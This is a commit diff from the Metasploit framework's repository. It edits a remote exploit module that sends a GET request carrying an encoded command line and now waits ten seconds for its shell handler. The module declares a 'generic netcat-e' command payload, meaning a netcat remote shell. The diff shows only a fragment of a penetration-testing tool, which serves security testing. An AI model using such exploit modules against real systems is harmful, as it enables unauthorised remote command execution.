Add a 10 second timeout, remove Wfs
git-svn-id: file:///home/svn/framework3/trunk@9624 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
453c9fc3c4
commit
816b769b3f
|
@ -43,7 +43,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
{
|
||||
'Space' => 1024,
|
||||
'DisableNops' => true,
|
||||
'WfsDelay' => 20,
|
||||
'Compat' =>
|
||||
{
|
||||
'RequiredCmd' => 'generic netcat-e'
|
||||
|
@ -74,7 +73,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Sending GET request with encoded command line...")
|
||||
sock.put(req)
|
||||
|
||||
|
||||
print_status("Giving the handler time to run...")
|
||||
handler
|
||||
|
||||
select(nil, nil, nil, 10.0)
|
||||
|
||||
disconnect
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue